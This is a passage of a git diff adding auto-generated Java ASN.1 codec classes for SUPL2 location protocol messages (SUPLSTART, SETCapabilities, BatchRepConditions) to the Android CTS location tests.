+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "posTechnology : "
+ + getPosTechnology().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getPrefMethod() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPrefMethod();
+ }
+
+ @Override public void setToNewInstance() {
+ setPrefMethodToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PrefMethod.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "prefMethod : "
+ + getPrefMethod().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getPosProtocol() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPosProtocol();
+ }
+
+ @Override public void setToNewInstance() {
+ setPosProtocolToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosProtocol.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "posProtocol : "
+ + getPosProtocol().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionVer2_SETCapabilities_extension() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionVer2_SETCapabilities_extension();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionVer2_SETCapabilities_extensionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ver2_SETCapabilities_extension : "
+ + getExtensionVer2_SETCapabilities_extension().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SETCapabilities = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/SUPLSTART.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/SUPLSTART.java
new file mode 100755
index 0000000..403921c
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/SUPLSTART.java
@@ -0,0 +1,407 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ulp_components.LocationId;
+import android.location.cts.asn1.supl2.ulp_components.QoP;
+import android.location.cts.asn1.supl2.ulp_version_2_message_extensions.Ver2_SUPL_START_extension;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SUPLSTART extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SUPLSTART
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SUPLSTART() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SUPLSTART;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SUPLSTART != null) {
+ return ImmutableList.of(TAG_SUPLSTART);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SUPLSTART from encoded stream.
+ */
+ public static SUPLSTART fromPerUnaligned(byte[] encodedBytes) {
+ SUPLSTART result = new SUPLSTART();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SUPLSTART from encoded stream.
+ */
+ public static SUPLSTART fromPerAligned(byte[] encodedBytes) {
+ SUPLSTART result = new SUPLSTART();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SETCapabilities sETCapabilities_;
+ public SETCapabilities getSETCapabilities() {
+ return sETCapabilities_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SETCapabilities
+ */
+ public void setSETCapabilities(Asn1Object value) {
+ this.sETCapabilities_ = (SETCapabilities) value;
+ }
+ public SETCapabilities setSETCapabilitiesToNewInstance() {
+ sETCapabilities_ = new SETCapabilities();
+ return sETCapabilities_;
+ }
+
+ private LocationId locationId_;
+ public LocationId getLocationId() {
+ return locationId_;
+ }
+ /**
+ * @throws ClassCastException if value is not a LocationId
+ */
+ public void setLocationId(Asn1Object value) {
+ this.locationId_ = (LocationId) value;
+ }
+ public LocationId setLocationIdToNewInstance() {
+ locationId_ = new LocationId();
+ return locationId_;
+ }
+
+ private QoP qoP_;
+ public QoP getQoP() {
+ return qoP_;
+ }
+ /**
+ * @throws ClassCastException if value is not a QoP
+ */
+ public void setQoP(Asn1Object value) {
+ this.qoP_ = (QoP) value;
+ }
+ public QoP setQoPToNewInstance() {
+ qoP_ = new QoP();
+ return qoP_;
+ }
+
+
+
+ private Ver2_SUPL_START_extension extensionVer2_SUPL_START_extension;
+ public Ver2_SUPL_START_extension getExtensionVer2_SUPL_START_extension() {
+ return extensionVer2_SUPL_START_extension;
+ }
+ /**
+ * @throws ClassCastException if value is not a Ver2_SUPL_START_extension
+ */
+ public void setExtensionVer2_SUPL_START_extension(Asn1Object value) {
+ extensionVer2_SUPL_START_extension = (Ver2_SUPL_START_extension) value;
+ }
+ public void setExtensionVer2_SUPL_START_extensionToNewInstance() {
+ extensionVer2_SUPL_START_extension = new Ver2_SUPL_START_extension();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSETCapabilities() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSETCapabilities();
+ }
+
+ @Override public void setToNewInstance() {
+ setSETCapabilitiesToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SETCapabilities.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sETCapabilities : "
+ + getSETCapabilities().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getLocationId() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getLocationId();
+ }
+
+ @Override public void setToNewInstance() {
+ setLocationIdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? LocationId.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "locationId : "
+ + getLocationId().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getQoP() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getQoP();
+ }
+
+ @Override public void setToNewInstance() {
+ setQoPToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? QoP.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "qoP : "
+ + getQoP().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionVer2_SUPL_START_extension() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionVer2_SUPL_START_extension();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionVer2_SUPL_START_extensionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ver2_SUPL_START_extension : "
+ + getExtensionVer2_SUPL_START_extension().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SUPLSTART = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/BatchRepConditions.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/BatchRepConditions.java
new file mode 100755
index 0000000..850c7ee
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/BatchRepConditions.java
@@ -0,0 +1,647 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_response;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class BatchRepConditions extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_BatchRepConditions
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "BatchRepConditions: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public BatchRepConditions() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_BatchRepConditions;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_BatchRepConditions != null) {
+ return ImmutableList.of(TAG_BatchRepConditions);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new BatchRepConditions from encoded stream.
+ */
+ public static BatchRepConditions fromPerUnaligned(byte[] encodedBytes) {
+ BatchRepConditions result = new BatchRepConditions();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new BatchRepConditions from encoded stream.
+ */
+ public static BatchRepConditions fromPerAligned(byte[] encodedBytes) {
+ BatchRepConditions result = new BatchRepConditions();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $Num_interval(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new BatchRepConditions.num_intervalType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BatchRepConditions.num_intervalType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Num_minutes(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new BatchRepConditions.num_minutesType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BatchRepConditions.num_minutesType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Endofsession(Asn1Tag.fromClassAndNumber(2, 2),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new BatchRepConditions.endofsessionType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BatchRepConditions.endofsessionType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class num_intervalType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_num_intervalType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public num_intervalType() {
+ super();
+ setValueRange("1", "1024");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_num_intervalType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_num_intervalType != null) {
+ return ImmutableList.of(TAG_num_intervalType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new num_intervalType from encoded stream.
+ */
+ public static num_intervalType fromPerUnaligned(byte[] encodedBytes) {
+ num_intervalType result = new num_intervalType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new num_intervalType from encoded stream.
+ */
+ public static num_intervalType fromPerAligned(byte[] encodedBytes) {
+ num_intervalType result = new num_intervalType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "num_intervalType = " + getInteger() + ";\n";
+ }
+}
+
+
+ public boolean isNum_interval() {
+ return !hasExtensionValue() && Select.$Num_interval == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isNum_interval}.
+ */
+ @SuppressWarnings("unchecked")
+ public BatchRepConditions.num_intervalType getNum_interval() {
+ if (!isNum_interval()) {
+ throw new IllegalStateException("BatchRepConditions value not a Num_interval");
+ }
+ return (BatchRepConditions.num_intervalType) element;
+ }
+
+ public void setNum_interval(BatchRepConditions.num_intervalType selected) {
+ selection = Select.$Num_interval;
+ extension = false;
+ element = selected;
+ }
+
+ public BatchRepConditions.num_intervalType setNum_intervalToNewInstance() {
+ BatchRepConditions.num_intervalType element = new BatchRepConditions.num_intervalType();
+ setNum_interval(element);
+ return element;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class num_minutesType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_num_minutesType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public num_minutesType() {
+ super();
+ setValueRange("1", "2048");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_num_minutesType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_num_minutesType != null) {
+ return ImmutableList.of(TAG_num_minutesType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new num_minutesType from encoded stream.
+ */
+ public static num_minutesType fromPerUnaligned(byte[] encodedBytes) {
+ num_minutesType result = new num_minutesType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new num_minutesType from encoded stream.
+ */
+ public static num_minutesType fromPerAligned(byte[] encodedBytes) {
+ num_minutesType result = new num_minutesType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "num_minutesType = " + getInteger() + ";\n";
+ }
+}
+
+
+ public boolean isNum_minutes() {
+ return !hasExtensionValue() && Select.$Num_minutes == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isNum_minutes}.
+ */
+ @SuppressWarnings("unchecked")
+ public BatchRepConditions.num_minutesType getNum_minutes() {
+ if (!isNum_minutes()) {
+ throw new IllegalStateException("BatchRepConditions value not a Num_minutes");
+ }
+ return (BatchRepConditions.num_minutesType) element;
+ }
+
+ public void setNum_minutes(BatchRepConditions.num_minutesType selected) {
+ selection = Select.$Num_minutes;
+ extension = false;
+ element = selected;
+ }
+
+ public BatchRepConditions.num_minutesType setNum_minutesToNewInstance() {
+ BatchRepConditions.num_minutesType element = new BatchRepConditions.num_minutesType();
+ setNum_minutes(element);
+ return element;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class endofsessionType extends Asn1Null {
+ //
+
+ private static final Asn1Tag TAG_endofsessionType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public endofsessionType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_endofsessionType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_endofsessionType != null) {
+ return ImmutableList.of(TAG_endofsessionType);
+ } else {
+ return Asn1Null.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new endofsessionType from encoded stream.
+ */
+ public static endofsessionType fromPerUnaligned(byte[] encodedBytes) {
+ endofsessionType result = new endofsessionType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new endofsessionType from encoded stream.
+ */
+ public static endofsessionType fromPerAligned(byte[] encodedBytes) {
+ endofsessionType result = new endofsessionType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "endofsessionType (null value);\n";
+ }
+}
+
+
+ public boolean isEndofsession() {
+ return !hasExtensionValue() && Select.$Endofsession == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isEndofsession}.
+ */
+ @SuppressWarnings("unchecked")
+ public BatchRepConditions.endofsessionType getEndofsession() {
+ if (!isEndofsession()) {
+ throw new IllegalStateException("BatchRepConditions value not a Endofsession");
+ }
+ return (BatchRepConditions.endofsessionType) element;
+ }
+
+ public void setEndofsession(BatchRepConditions.endofsessionType selected) {
+ selection = Select.$Endofsession;
+ extension = false;
+ element = selected;
+ }
+
+ public BatchRepConditions.endofsessionType setEndofsessionToNewInstance() {
+ BatchRepConditions.endofsessionType element = new BatchRepConditions.endofsessionType();
+ setEndofsession(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "BatchRepConditions = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/BatchRepType.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/BatchRepType.java
new file mode 100755
index 0000000..89b7f28
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/BatchRepType.java
@@ -0,0 +1,721 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
